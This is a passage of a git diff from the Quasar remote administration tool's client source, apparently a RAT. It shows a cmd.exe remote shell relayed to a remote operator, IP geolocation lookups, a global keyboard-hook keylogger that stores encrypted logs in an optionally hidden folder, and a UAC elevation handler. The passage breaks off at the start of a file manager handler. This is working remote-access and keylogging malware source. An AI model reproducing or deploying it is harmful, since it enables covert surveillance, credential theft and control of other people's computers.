RedirectStandardError = true,
- StandardOutputEncoding = Encoding.GetEncoding(cultureInfo.TextInfo.OEMCodePage),
- StandardErrorEncoding = Encoding.GetEncoding(cultureInfo.TextInfo.OEMCodePage),
- CreateNoWindow = true,
+ StandardOutputEncoding = _encoding,
+ StandardErrorEncoding = _encoding,
WorkingDirectory = Path.GetPathRoot(Environment.GetFolderPath(Environment.SpecialFolder.System)),
- Arguments = "/K"
+ Arguments = $"/K CHCP {_encoding.CodePage}"
}
};
-
_prc.Start();
- // Fire up the logic to redirect the outputs and handle them.
- RedirectOutputs();
+ RedirectIO();
- new Packets.ClientPackets.DoShellExecuteResponse(Environment.NewLine + ">> New Session created" + Environment.NewLine).Execute(
- Program.ConnectClient);
+ _client.Send(new DoShellExecuteResponse
+ {
+ Output = "\n>> New Session created\n"
+ });
}
///
- /// Starts the redirection of input and output
+ /// Starts the redirection of input and output.
///
- private void RedirectOutputs()
+ private void RedirectIO()
{
- ThreadPool.QueueUserWorkItem((WaitCallback)delegate { RedirectStandardOutput(); });
- ThreadPool.QueueUserWorkItem((WaitCallback)delegate { RedirectStandardError(); });
+ _inputWriter = new StreamWriter(_prc.StandardInput.BaseStream, _encoding);
+ new Thread(RedirectStandardOutput).Start();
+ new Thread(RedirectStandardError).Start();
}
///
@@ -91,9 +119,9 @@ private void ReadStream(int firstCharRead, StreamReader streamReader, bool isErr
{
lock (_readStreamLock)
{
- StringBuilder streambuffer = new StringBuilder();
+ var streamBuffer = new StringBuilder();
- streambuffer.Append((char)firstCharRead);
+ streamBuffer.Append((char)firstCharRead);
// While there are more characters to be read
while (streamReader.Peek() > -1)
@@ -102,41 +130,32 @@ private void ReadStream(int firstCharRead, StreamReader streamReader, bool isErr
var ch = streamReader.Read();
// Accumulate the characters read in the stream buffer
- streambuffer.Append((char)ch);
+ streamBuffer.Append((char)ch);
if (ch == '\n')
- SendAndFlushBuffer(ref streambuffer, isError);
+ SendAndFlushBuffer(ref streamBuffer, isError);
}
// Flush any remaining text in the buffer
- SendAndFlushBuffer(ref streambuffer, isError);
+ SendAndFlushBuffer(ref streamBuffer, isError);
}
}
///
/// Sends the read output to the Client.
///
- /// Contains the contents of the output.
+ /// Contains the contents of the output.
/// True if reading from the error-stream, else False.
- private void SendAndFlushBuffer(ref StringBuilder textbuffer, bool isError)
+ private void SendAndFlushBuffer(ref StringBuilder textBuffer, bool isError)
{
- if (textbuffer.Length == 0) return;
+ if (textBuffer.Length == 0) return;
- var toSend = textbuffer.ToString();
+ var toSend = ConvertEncoding(_encoding, textBuffer.ToString());
if (string.IsNullOrEmpty(toSend)) return;
- if (isError)
- {
- new Packets.ClientPackets.DoShellExecuteResponse(toSend, true).Execute(
- Program.ConnectClient);
- }
- else
- {
- new Packets.ClientPackets.DoShellExecuteResponse(toSend).Execute(
- Program.ConnectClient);
- }
+ _client.Send(new DoShellExecuteResponse { Output = toSend, IsError = isError });
- textbuffer.Length = 0;
+ textBuffer.Clear();
}
///
@@ -171,8 +190,11 @@ private void RedirectStandardOutput()
{
if (ex is ApplicationException || ex is InvalidOperationException)
{
- new Packets.ClientPackets.DoShellExecuteResponse(string.Format("{0}>> Session unexpectedly closed{0}",
- Environment.NewLine), true).Execute(Program.ConnectClient);
+ _client.Send(new DoShellExecuteResponse
+ {
+ Output = "\n>> Session unexpectedly closed\n",
+ IsError = true
+ });
CreateSession();
}
@@ -211,8 +233,11 @@ private void RedirectStandardError()
{
if (ex is ApplicationException || ex is InvalidOperationException)
{
- new Packets.ClientPackets.DoShellExecuteResponse(string.Format("{0}>> Session unexpectedly closed{0}",
- Environment.NewLine), true).Execute(Program.ConnectClient);
+ _client.Send(new DoShellExecuteResponse
+ {
+ Output = "\n>> Session unexpectedly closed\n",
+ IsError = true
+ });
CreateSession();
}
@@ -227,22 +252,38 @@ private void RedirectStandardError()
public bool ExecuteCommand(string command)
{
if (_prc == null || _prc.HasExited)
- CreateSession();
-
- if (_prc == null) return false;
+ {
+ try
+ {
+ CreateSession();
+ }
+ catch (Exception ex)
+ {
+ _client.Send(new DoShellExecuteResponse
+ {
+ Output = $"\n>> Failed to creation shell session: {ex.Message}\n",
+ IsError = true
+ });
+ return false;
+ }
+ }
- _prc.StandardInput.WriteLine(command);
- _prc.StandardInput.Flush();
+ _inputWriter.WriteLine(ConvertEncoding(_encoding, command));
+ _inputWriter.Flush();
return true;
}
///
- /// Constructor, creates a new session.
+ /// Converts the encoding of an input string to UTF-8 format.
///
- public Shell()
+ /// The source encoding of the input string.
+ /// The input string.
+ /// The input string in UTF-8 format.
+ private string ConvertEncoding(Encoding sourceEncoding, string input)
{
- CreateSession();
+ var utf8Text = Encoding.Convert(sourceEncoding, Encoding.UTF8, sourceEncoding.GetBytes(input));
+ return Encoding.UTF8.GetString(utf8Text);
}
///
@@ -251,7 +292,6 @@ public Shell()
public void Dispose()
{
Dispose(true);
-
GC.SuppressFinalize(this);
}
@@ -264,7 +304,8 @@ protected virtual void Dispose(bool disposing)
_read = false;
}
- if (_prc == null) return;
+ if (_prc == null)
+ return;
if (!_prc.HasExited)
{
@@ -276,9 +317,16 @@ protected virtual void Dispose(bool disposing)
{
}
}
+
+ if (_inputWriter != null)
+ {
+ _inputWriter.Close();
+ _inputWriter = null;
+ }
+
_prc.Dispose();
_prc = null;
}
}
}
-}
\ No newline at end of file
+}
diff --git a/Quasar.Client/IpGeoLocation/GeoInformation.cs b/Quasar.Client/IpGeoLocation/GeoInformation.cs
new file mode 100644
index 000000000..f2f40a869
--- /dev/null
+++ b/Quasar.Client/IpGeoLocation/GeoInformation.cs
@@ -0,0 +1,16 @@
+namespace Quasar.Client.IpGeoLocation
+{
+ ///
+ /// Stores the IP geolocation information.
+ ///
+ public class GeoInformation
+ {
+ public string IpAddress { get; set; }
+ public string Country { get; set; }
+ public string CountryCode { get; set; }
+ public string Timezone { get; set; }
+ public string Asn { get; set; }
+ public string Isp { get; set; }
+ public int ImageIndex { get; set; }
+ }
+}
diff --git a/Quasar.Client/IpGeoLocation/GeoInformationFactory.cs b/Quasar.Client/IpGeoLocation/GeoInformationFactory.cs
new file mode 100644
index 000000000..3af63cef5
--- /dev/null
+++ b/Quasar.Client/IpGeoLocation/GeoInformationFactory.cs
@@ -0,0 +1,47 @@
+using System;
+
+namespace Quasar.Client.IpGeoLocation
+{
+ ///
+ /// Factory to retrieve and cache the last IP geolocation information for minutes.
+ ///
+ public static class GeoInformationFactory
+ {
+ ///
+ /// Retriever used to get geolocation information about the WAN IP address.
+ ///
+ private static readonly GeoInformationRetriever Retriever = new GeoInformationRetriever();
+
+ ///
+ /// Used to cache the latest IP geolocation information.
+ ///
+ private static GeoInformation _geoInformation;
+
+ ///
+ /// Time of the last successful location retrieval.
+ ///
+ private static DateTime _lastSuccessfulLocation = new DateTime(1, 1, 1, 0, 0, 0, DateTimeKind.Utc);
+
+ ///
+ /// The minimum amount of minutes a successful IP geolocation retrieval is valid.
+ ///
+ private const int MINIMUM_VALID_TIME = 60 * 12;
+
+ ///
+ /// Gets the IP geolocation information, either cached or freshly retrieved if more than minutes have passed.
+ ///
+ /// The latest IP geolocation information.
+ public static GeoInformation GetGeoInformation()
+ {
+ var passedTime = new TimeSpan(DateTime.UtcNow.Ticks - _lastSuccessfulLocation.Ticks);
+
+ if (_geoInformation == null || passedTime.TotalMinutes > MINIMUM_VALID_TIME)
+ {
+ _geoInformation = Retriever.Retrieve();
+ _lastSuccessfulLocation = DateTime.UtcNow;
+ }
+
+ return _geoInformation;
+ }
+ }
+}
diff --git a/Quasar.Client/IpGeoLocation/GeoInformationRetriever.cs b/Quasar.Client/IpGeoLocation/GeoInformationRetriever.cs
new file mode 100644
index 000000000..bb44f14b1
--- /dev/null
+++ b/Quasar.Client/IpGeoLocation/GeoInformationRetriever.cs
@@ -0,0 +1,174 @@
+using Quasar.Client.Helper;
+using System.Globalization;
+using System.IO;
+using System.Net;
+
+namespace Quasar.Client.IpGeoLocation
+{
+ ///
+ /// Class to retrieve the IP geolocation information.
+ ///
+ public class GeoInformationRetriever
+ {
+ ///
+ /// List of all available flag images on the server side.
+ ///
+ private readonly string[] _imageList =
+ {
+ "ad", "ae", "af", "ag", "ai", "al",
+ "am", "an", "ao", "ar", "as", "at", "au", "aw", "ax", "az", "ba",
+ "bb", "bd", "be", "bf", "bg", "bh", "bi", "bj", "bm", "bn", "bo",
+ "br", "bs", "bt", "bv", "bw", "by", "bz", "ca", "catalonia", "cc",
+ "cd", "cf", "cg", "ch", "ci", "ck", "cl", "cm", "cn", "co", "cr",
+ "cs", "cu", "cv", "cx", "cy", "cz", "de", "dj", "dk", "dm", "do",
+ "dz", "ec", "ee", "eg", "eh", "england", "er", "es", "et",
+ "europeanunion", "fam", "fi", "fj", "fk", "fm", "fo", "fr", "ga",
+ "gb", "gd", "ge", "gf", "gh", "gi", "gl", "gm", "gn", "gp", "gq",
+ "gr", "gs", "gt", "gu", "gw", "gy", "hk", "hm", "hn", "hr", "ht",
+ "hu", "id", "ie", "il", "in", "io", "iq", "ir", "is", "it", "jm",
+ "jo", "jp", "ke", "kg", "kh", "ki", "km", "kn", "kp", "kr", "kw",
+ "ky", "kz", "la", "lb", "lc", "li", "lk", "lr", "ls", "lt", "lu",
+ "lv", "ly", "ma", "mc", "md", "me", "mg", "mh", "mk", "ml", "mm",
+ "mn", "mo", "mp", "mq", "mr", "ms", "mt", "mu", "mv", "mw", "mx",
+ "my", "mz", "na", "nc", "ne", "nf", "ng", "ni", "nl", "no", "np",
+ "nr", "nu", "nz", "om", "pa", "pe", "pf", "pg", "ph", "pk", "pl",
+ "pm", "pn", "pr", "ps", "pt", "pw", "py", "qa", "re", "ro", "rs",
+ "ru", "rw", "sa", "sb", "sc", "scotland", "sd", "se", "sg", "sh",
+ "si", "sj", "sk", "sl", "sm", "sn", "so", "sr", "st", "sv", "sy",
+ "sz", "tc", "td", "tf", "tg", "th", "tj", "tk", "tl", "tm", "tn",
+ "to", "tr", "tt", "tv", "tw", "tz", "ua", "ug", "um", "us", "uy",
+ "uz", "va", "vc", "ve", "vg", "vi", "vn", "vu", "wales", "wf",
+ "ws", "ye", "yt", "za", "zm", "zw"
+ };
+
+ ///
+ /// Retrieves the IP geolocation information.
+ ///
+ /// The retrieved IP geolocation information.
+ public GeoInformation Retrieve()
+ {
+ var geo = TryRetrieveOnline() ?? TryRetrieveLocally();
+
+ if (string.IsNullOrEmpty(geo.IpAddress))
+ geo.IpAddress = TryGetWanIp();
+
+ geo.IpAddress = (string.IsNullOrEmpty(geo.IpAddress)) ? "Unknown" : geo.IpAddress;
+ geo.Country = (string.IsNullOrEmpty(geo.Country)) ? "Unknown" : geo.Country;
+ geo.CountryCode = (string.IsNullOrEmpty(geo.CountryCode)) ? "-" : geo.CountryCode;
+ geo.Timezone = (string.IsNullOrEmpty(geo.Timezone)) ? "Unknown" : geo.Timezone;
+ geo.Asn = (string.IsNullOrEmpty(geo.Asn)) ? "Unknown" : geo.Asn;
+ geo.Isp = (string.IsNullOrEmpty(geo.Isp)) ? "Unknown" : geo.Isp;
+
+ geo.ImageIndex = 0;
+ for (int i = 0; i < _imageList.Length; i++)
+ {
+ if (_imageList[i] == geo.CountryCode.ToLower())
+ {
+ geo.ImageIndex = i;
+ break;
+ }
+ }
+ if (geo.ImageIndex == 0) geo.ImageIndex = 247; // question icon
+
+ return geo;
+ }
+
+ ///
+ /// Tries to retrieve the geolocation information online.
+ ///
+ /// The retrieved geolocation information if successful, otherwise null.
+ private GeoInformation TryRetrieveOnline()
+ {
+ try
+ {
+ HttpWebRequest request = (HttpWebRequest)WebRequest.Create("https://ipwho.is/");
+ request.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0";
+ request.Proxy = null;
+ request.Timeout = 10000;
+
+ using (HttpWebResponse response = (HttpWebResponse)request.GetResponse())
+ {
+ using (Stream dataStream = response.GetResponseStream())
+ {
+ var geoInfo = JsonHelper.Deserialize(dataStream);
+
+ GeoInformation g = new GeoInformation
+ {
+ IpAddress = geoInfo.Ip,
+ Country = geoInfo.Country,
+ CountryCode = geoInfo.CountryCode,
+ Timezone = geoInfo.Timezone.UTC,
+ Asn = geoInfo.Connection.ASN.ToString(),
+ Isp = geoInfo.Connection.ISP
+ };
+
+ return g;
+ }
+ }
+ }
+ catch
+ {
+ return null;
+ }
+ }
+
+ ///
+ /// Tries to retrieve the geolocation information locally.
+ ///
+ /// The retrieved geolocation information if successful, otherwise null.
+ private GeoInformation TryRetrieveLocally()
+ {
+ try
+ {
+ GeoInformation g = new GeoInformation();
+
+ // use local information
+ var cultureInfo = CultureInfo.CurrentUICulture;
+ var region = new RegionInfo(cultureInfo.LCID);
+
+ g.Country = region.DisplayName;
+ g.CountryCode = region.TwoLetterISORegionName;
+ g.Timezone = DateTimeHelper.GetLocalTimeZone();
+
+ return g;
+ }
+ catch
+ {
+ return null;
+ }
+ }
+
+ ///
+ /// Tries to retrieves the WAN IP.
+ ///
+ /// The WAN IP as string if successful, otherwise null.
+ private string TryGetWanIp()
+ {
+ string wanIp = "";
+
+ try
+ {
+ HttpWebRequest request = (HttpWebRequest)WebRequest.Create("https://api.ipify.org/");
+ request.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0";
+ request.Proxy = null;
+ request.Timeout = 5000;
+
+ using (HttpWebResponse response = (HttpWebResponse)request.GetResponse())
+ {
+ using (Stream dataStream = response.GetResponseStream())
+ {
+ using (StreamReader reader = new StreamReader(dataStream))
+ {
+ wanIp = reader.ReadToEnd();
+ }
+ }
+ }
+ }
+ catch
+ {
+ }
+
+ return wanIp;
+ }
+ }
+}
diff --git a/Quasar.Client/IpGeoLocation/GeoResponse.cs b/Quasar.Client/IpGeoLocation/GeoResponse.cs
new file mode 100644
index 000000000..6fda68491
--- /dev/null
+++ b/Quasar.Client/IpGeoLocation/GeoResponse.cs
@@ -0,0 +1,45 @@
+using System.Runtime.Serialization;
+
+namespace Quasar.Client.IpGeoLocation
+{
+ [DataContract]
+ public class GeoResponse
+ {
+ [DataMember(Name = "ip")]
+ public string Ip { get; set; }
+
+ [DataMember(Name = "continent_code")]
+ public string ContinentCode { get; set; }
+
+ [DataMember(Name = "country")]
+ public string Country { get; set; }
+
+ [DataMember(Name = "country_code")]
+ public string CountryCode { get; set; }
+
+ [DataMember(Name = "timezone")]
+ public Time Timezone { get; set; }
+
+ [DataMember(Name = "connection")]
+ public Conn Connection { get; set; }
+
+ }
+
+
+
+ [DataContract]
+ public class Time
+ {
+ [DataMember(Name = "utc")]
+ public string UTC { get; set; }
+ }
+ [DataContract]
+ public class Conn
+ {
+ [DataMember(Name = "asn")]
+ public string ASN { get; set; }
+
+ [DataMember(Name = "isp")]
+ public string ISP { get; set; }
+ }
+}
diff --git a/Quasar.Client/Logging/Keylogger.cs b/Quasar.Client/Logging/Keylogger.cs
new file mode 100644
index 000000000..c8cccd56d
--- /dev/null
+++ b/Quasar.Client/Logging/Keylogger.cs
@@ -0,0 +1,380 @@
+using Gma.System.MouseKeyHook;
+using Quasar.Client.Config;
+using Quasar.Client.Extensions;
+using Quasar.Client.Helper;
+using Quasar.Common.Cryptography;
+using Quasar.Common.Helpers;
+using System;
+using System.Collections.Generic;
+using System.Diagnostics;
+using System.Globalization;
+using System.IO;
+using System.Text;
+using System.Web;
+using System.Windows.Forms;
+using Timer = System.Timers.Timer;
+
+namespace Quasar.Client.Logging
+{
+ ///
+ /// This class provides keylogging functionality and modifies/highlights the output for
+ /// better user experience.
+ ///
+ public class Keylogger : IDisposable
+ {
+ ///
+ /// True if the class has already been disposed, else false.
+ ///
+ public bool IsDisposed { get; private set; }
+
+ ///
+ /// The timer used to periodically flush the from memory to disk.
+ ///
+ private readonly Timer _timerFlush;
+
+ ///
+ /// The buffer used to store the logged keys in memory.
+ ///
+ private readonly StringBuilder _logFileBuffer = new StringBuilder();
+
+ ///
+ /// Temporary list of pressed keys while they are being processed.
+ ///
+ private readonly List _pressedKeys = new List();
+
+ ///
+ /// Temporary list of pressed keys chars while they are being processed.
+ ///
+ private readonly List _pressedKeyChars = new List();
+
+ ///
+ /// Saves the last window title of an application.
+ ///
+ private string _lastWindowTitle = string.Empty;
+
+ ///
+ /// Determines if special keys should be ignored for processing, e.g. when a modifier key is pressed.
+ ///
+ private bool _ignoreSpecialKeys;
+
+ ///
+ /// Used to hook global mouse and keyboard events.
+ ///
+ private readonly IKeyboardMouseEvents _mEvents;
+
+ ///
+ /// Provides encryption and decryption methods to securely store log files.
+ ///
+ private readonly Aes256 _aesInstance = new Aes256(Settings.ENCRYPTIONKEY);
+
+ ///
+ /// The maximum size of a single log file.
+ ///
+ private readonly long _maxLogFileSize;
+
+ ///
+ /// Initializes a new instance of that provides keylogging functionality.
+ ///
+ /// The interval to flush the buffer from memory to disk.
+ /// The maximum size of a single log file.
+ public Keylogger(double flushInterval, long maxLogFileSize)
+ {
+ _maxLogFileSize = maxLogFileSize;
+ _mEvents = Hook.GlobalEvents();
+ _timerFlush = new Timer { Interval = flushInterval };
+ _timerFlush.Elapsed += TimerElapsed;
+ }
+
+ ///
+ /// Begins logging of keys.
+ ///
+ public void Start()
+ {
+ Subscribe();
+ _timerFlush.Start();
+ }
+
+ ///
+ /// Disposes used resources by this class.
+ ///
+ public void Dispose()
+ {
+ Dispose(true);
+ GC.SuppressFinalize(this);
+ }
+
+ protected virtual void Dispose(bool disposing)
+ {
+ if (IsDisposed)
+ return;
+
+ if (disposing)
+ {
+ Unsubscribe();
+ _timerFlush.Stop();
+ _timerFlush.Dispose();
+ _mEvents.Dispose();
+ WriteFile();
+ }
+
+ IsDisposed = true;
+ }
+
+ ///
+ /// Subscribes to all key events.
+ ///
+ private void Subscribe()
+ {
+ _mEvents.KeyDown += OnKeyDown;
+ _mEvents.KeyUp += OnKeyUp;
+ _mEvents.KeyPress += OnKeyPress;
+ }
+
+ ///
+ /// Unsubscribes from all key events.
+ ///
+ private void Unsubscribe()
+ {
+ _mEvents.KeyDown -= OnKeyDown;
+ _mEvents.KeyUp -= OnKeyUp;
+ _mEvents.KeyPress -= OnKeyPress;
+ }
+
+ ///
+ /// Initial handling of the key down events and updates the window title.
+ ///
+ /// The sender of the event.
+ /// The key event args, e.g. the keycode.
+ /// This event handler is called first.
+ private void OnKeyDown(object sender, KeyEventArgs e)
+ {
+ string activeWindowTitle = NativeMethodsHelper.GetForegroundWindowTitle();
+ if (!string.IsNullOrEmpty(activeWindowTitle) && activeWindowTitle != _lastWindowTitle)
+ {
+ _lastWindowTitle = activeWindowTitle;
+ _logFileBuffer.Append(@"
["
+ + HttpUtility.HtmlEncode(activeWindowTitle) + " - "
+ + DateTime.UtcNow.ToString("t", DateTimeFormatInfo.InvariantInfo)
+ + " UTC]
");
+ }
+
+ if (_pressedKeys.ContainsModifierKeys())
+ {
+ if (!_pressedKeys.Contains(e.KeyCode))
+ {
+ Debug.WriteLine("OnKeyDown: " + e.KeyCode);
+ _pressedKeys.Add(e.KeyCode);
+ return;
+ }
+ }
+
+ if (!e.KeyCode.IsExcludedKey())
+ {
+ // The key was not part of the keys that we wish to filter, so
+ // be sure to prevent a situation where multiple keys are pressed.
+ if (!_pressedKeys.Contains(e.KeyCode))
+ {
+ Debug.WriteLine("OnKeyDown: " + e.KeyCode);
+ _pressedKeys.Add(e.KeyCode);
+ }
+ }
+ }
+
+ ///
+ /// Processes pressed keys and appends them to the . Processing of Unicode characters starts here.
+ ///
+ /// The sender of the event.
+ /// The key press event args, especially the pressed KeyChar.
+ /// This event handler is called second.
+ private void OnKeyPress(object sender, KeyPressEventArgs e)
+ {
+ if (_pressedKeys.ContainsModifierKeys() && _pressedKeys.ContainsKeyChar(e.KeyChar))
+ return;
+
+ if ((!_pressedKeyChars.Contains(e.KeyChar) || !DetectKeyHolding(_pressedKeyChars, e.KeyChar)) && !_pressedKeys.ContainsKeyChar(e.KeyChar))
+ {
+ var filtered = HttpUtility.HtmlEncode(e.KeyChar.ToString());
+ if (!string.IsNullOrEmpty(filtered))
+ {
+ Debug.WriteLine("OnKeyPress Output: " + filtered);
+ if (_pressedKeys.ContainsModifierKeys())
+ _ignoreSpecialKeys = true;
+
+ _pressedKeyChars.Add(e.KeyChar);
+ _logFileBuffer.Append(filtered);
+ }
+ }
+ }
+
+ ///
+ /// Finishes processing of the keys.
+ ///
+ /// The sender of the event.
+ /// The key event args.
+ /// This event handler is called third.
+ private void OnKeyUp(object sender, KeyEventArgs e)
+ {
+ _logFileBuffer.Append(HighlightSpecialKeys(_pressedKeys.ToArray()));
+ _pressedKeyChars.Clear();
+ }
+
+ ///
+ /// Finds a held down key char in a given key char list.
+ ///
+ /// The list of key chars.
+ /// The key char to search for.
+ /// True if the list contains the key char, else false.
+ private bool DetectKeyHolding(List list, char search)
+ {
+ return list.FindAll(s => s.Equals(search)).Count > 1;
+ }
+
+ ///
+ /// Adds special highlighting in HTML to the special keys.
+ ///
+ /// The input keys.
+ /// The highlighted special keys.
+ private string HighlightSpecialKeys(Keys[] keys)
+ {
+ if (keys.Length < 1) return string.Empty;
+
+ string[] names = new string[keys.Length];
+ for (int i = 0; i < keys.Length; i++)
+ {
+ if (!_ignoreSpecialKeys)
+ {
+ names[i] = keys[i].GetDisplayName();
+ Debug.WriteLine("HighlightSpecialKeys: " + keys[i] + " : " + names[i]);
+ }
+ else
+ {
+ names[i] = string.Empty;
+ _pressedKeys.Remove(keys[i]);
+ }
+ }
+
+ _ignoreSpecialKeys = false;
+
+ if (_pressedKeys.ContainsModifierKeys())
+ {
+ StringBuilder specialKeys = new StringBuilder();
+
+ int validSpecialKeys = 0;
+ for (int i = 0; i < names.Length; i++)
+ {
+ _pressedKeys.Remove(keys[i]);
+ if (string.IsNullOrEmpty(names[i])) continue;
+
+ specialKeys.AppendFormat((validSpecialKeys == 0) ? @"[{0}" : " + {0}", names[i]);
+ validSpecialKeys++;
+ }
+
+ // If there are items in the special keys string builder, give it an ending tag
+ if (validSpecialKeys > 0)
+ specialKeys.Append("]
");
+
+ Debug.WriteLineIf(specialKeys.Length > 0, "HighlightSpecialKeys Output: " + specialKeys.ToString());
+ return specialKeys.ToString();
+ }
+
+ StringBuilder normalKeys = new StringBuilder();
+
+ for (int i = 0; i < names.Length; i++)
+ {
+ _pressedKeys.Remove(keys[i]);
+ if (string.IsNullOrEmpty(names[i])) continue;
+
+ switch (names[i])
+ {
+ case "Return":
+ normalKeys.Append(@"[Enter]
");
+ break;
+ case "Escape":
+ normalKeys.Append(@"[Esc]
");
+ break;
+ default:
+ normalKeys.Append(@"[" + names[i] + "]
");
+ break;
+ }
+ }
+
+ Debug.WriteLineIf(normalKeys.Length > 0, "HighlightSpecialKeys Output: " + normalKeys.ToString());
+ return normalKeys.ToString();
+ }
+
+ private void TimerElapsed(object sender, System.Timers.ElapsedEventArgs e)
+ {
+ if (_logFileBuffer.Length > 0)
+ WriteFile();
+ }
+
+ ///
+ /// Writes the logged keys from memory to disk.
+ ///
+ private void WriteFile()
+ {
+ // TODO: Add some house-keeping and delete old log entries
+ bool writeHeader = false;
+
+ string filePath = Path.Combine(Settings.LOGSPATH, DateTime.UtcNow.ToString("yyyy-MM-dd"));
+
+ try
+ {
+ DirectoryInfo di = new DirectoryInfo(Settings.LOGSPATH);
+
+ if (!di.Exists)
+ di.Create();
+
+ if (Settings.HIDELOGDIRECTORY)
+ di.Attributes = FileAttributes.Directory | FileAttributes.Hidden;
+
+ int i = 1;
+ while (File.Exists(filePath))
+ {
+ // Large log files take a very long time to read, decrypt and append new logs to,
+ // so create a new log file if the size of the previous one exceeds _maxLogFileSize.
+ long length = new FileInfo(filePath).Length;
+ if (length < _maxLogFileSize)
+ {
+ break;
+ }
+
+ // append a number to the file name
+ var newFileName = $"{Path.GetFileName(filePath)}_{i}";
+ filePath = Path.Combine(Settings.LOGSPATH, newFileName);
+ i++;
+ }
+
+ if (!File.Exists(filePath))
+ writeHeader = true;
+
+ StringBuilder logFile = new StringBuilder();
+
+ if (writeHeader)
+ {
+ logFile.Append(
+ "Log created on " +
+ DateTime.UtcNow.ToString("f", DateTimeFormatInfo.InvariantInfo) + " UTC
");
+
+ logFile.Append("");
+
+ _lastWindowTitle = string.Empty;
+ }
+
+ if (_logFileBuffer.Length > 0)
+ {
+ logFile.Append(_logFileBuffer);
+ }
+
+ FileHelper.WriteLogFile(filePath, logFile.ToString(), _aesInstance);
+
+ logFile.Clear();
+ }
+ catch
+ {
+ }
+
+ _logFileBuffer.Clear();
+ }
+ }
+}
diff --git a/Quasar.Client/Logging/KeyloggerService.cs b/Quasar.Client/Logging/KeyloggerService.cs
new file mode 100644
index 000000000..769546ee6
--- /dev/null
+++ b/Quasar.Client/Logging/KeyloggerService.cs
@@ -0,0 +1,68 @@
+using System;
+using System.Threading;
+using System.Windows.Forms;
+
+namespace Quasar.Client.Logging
+{
+ ///
+ /// Provides a service to run the keylogger.
+ ///
+ public class KeyloggerService : IDisposable
+ {
+ ///
+ /// The thread containing the executed keylogger and message loop.
+ ///
+ private readonly Thread _msgLoopThread;
+
+ ///
+ /// The message loop which is needed to receive key events.
+ ///
+ private ApplicationContext _msgLoop;
+
+ ///
+ /// Provides keylogging functionality.
+ ///
+ private Keylogger _keylogger;
+
+ ///
+ /// Initializes a new instance of .
+ ///
+ public KeyloggerService()
+ {
+ _msgLoopThread = new Thread(() =>
+ {
+ _msgLoop = new ApplicationContext();
+ _keylogger = new Keylogger(15000, 5 * 1024 * 1024);
+ _keylogger.Start();
+ Application.Run(_msgLoop);
+ });
+ }
+
+ ///
+ /// Starts the keylogger and message loop.
+ ///
+ public void Start()
+ {
+ _msgLoopThread.Start();
+ }
+
+ ///
+ /// Disposes all managed and unmanaged resources associated with this keylogger service.
+ ///
+ public void Dispose()
+ {
+ Dispose(true);
+ GC.SuppressFinalize(this);
+ }
+
+ protected void Dispose(bool disposing)
+ {
+ if (disposing)
+ {
+ _keylogger.Dispose();
+ _msgLoop.ExitThread();
+ _msgLoop.Dispose();
+ }
+ }
+ }
+}
diff --git a/Quasar.Client/Messages/ClientServicesHandler.cs b/Quasar.Client/Messages/ClientServicesHandler.cs
new file mode 100644
index 000000000..44bc8990c
--- /dev/null
+++ b/Quasar.Client/Messages/ClientServicesHandler.cs
@@ -0,0 +1,113 @@
+using Quasar.Client.Config;
+using Quasar.Client.Networking;
+using Quasar.Client.Setup;
+using Quasar.Client.User;
+using Quasar.Client.Utilities;
+using Quasar.Common.Enums;
+using Quasar.Common.Messages;
+using Quasar.Common.Networking;
+using System;
+using System.Diagnostics;
+using System.Windows.Forms;
+
+namespace Quasar.Client.Messages
+{
+ public class ClientServicesHandler : IMessageProcessor
+ {
+ private readonly QuasarClient _client;
+
+ private readonly QuasarApplication _application;
+
+ public ClientServicesHandler(QuasarApplication application, QuasarClient client)
+ {
+ _application = application;
+ _client = client;
+ }
+
+ ///
+ public bool CanExecute(IMessage message) => message is DoClientUninstall ||
+ message is DoClientDisconnect ||
+ message is DoClientReconnect ||
+ message is DoAskElevate;
+
+ ///
+ public bool CanExecuteFrom(ISender sender) => true;
+
+ ///
+ public void Execute(ISender sender, IMessage message)
+ {
+ switch (message)
+ {
+ case DoClientUninstall msg:
+ Execute(sender, msg);
+ break;
+ case DoClientDisconnect msg:
+ Execute(sender, msg);
+ break;
+ case DoClientReconnect msg:
+ Execute(sender, msg);
+ break;
+ case DoAskElevate msg:
+ Execute(sender, msg);
+ break;
+ }
+ }
+
+ private void Execute(ISender client, DoClientUninstall message)
+ {
+ client.Send(new SetStatus { Message = "Uninstalling... good bye :-(" });
+ try
+ {
+ new ClientUninstaller().Uninstall();
+ _client.Exit();
+ }
+ catch (Exception ex)
+ {
+ client.Send(new SetStatus { Message = $"Uninstall failed: {ex.Message}" });
+ }
+ }
+
+ private void Execute(ISender client, DoClientDisconnect message)
+ {
+ _client.Exit();
+ }
+
+ private void Execute(ISender client, DoClientReconnect message)
+ {
+ _client.Disconnect();
+ }
+
+ private void Execute(ISender client, DoAskElevate message)
+ {
+ var userAccount = new UserAccount();
+ if (userAccount.Type != AccountType.Admin)
+ {
+ ProcessStartInfo processStartInfo = new ProcessStartInfo
+ {
+ FileName = "cmd",
+ Verb = "runas",
+ Arguments = "/k START \"\" \"" + Application.ExecutablePath + "\" & EXIT",
+ WindowStyle = ProcessWindowStyle.Hidden,
+ UseShellExecute = true
+ };
+
+ _application.ApplicationMutex.Dispose(); // close the mutex so the new process can run
+ try
+ {
+ Process.Start(processStartInfo);
+ }
+ catch
+ {
+ client.Send(new SetStatus {Message = "User refused the elevation request."});
+ _application.ApplicationMutex = new SingleInstanceMutex(Settings.MUTEX); // re-grab the mutex
+ return;
+ }
+ _client.Exit();
+ }
+ else
+ {
+ client.Send(new SetStatus { Message = "Process already elevated." });
+ }
+ }
+ }
+}
diff --git a/Quasar.Client/Messages/FileManagerHandler.cs b/Quasar.Client/Messages/FileManagerHandler.cs
new file mode 100644
index 000000000..49a0ba504
--- /dev/null
+++ b/Quasar.Client/Messages/FileManagerHandler.cs
@@ -0,0 +1,493 @@
+using Quasar.Client.Networking;
+using Quasar.Common;
+using Quasar.Common.Enums;
+using Quasar.Common.Extensions;
+using Quasar.Common.Helpers;
+using Quasar.Common.IO;
+using Quasar.Common.Messages;
+using Quasar.Common.Models;
+using Quasar.Common.Networking;
+using System;
+using System.Collections.Concurrent;
+using System.IO;
+using System.Linq;
+using System.Security;
+using System.Threading;
+
+namespace Quasar.Client.Messages
+{
+ public class FileManagerHandler : NotificationMessageProcessor, IDisposable
+ {
+ private readonly ConcurrentDictionary _activeTransfers = new ConcurrentDictionary();
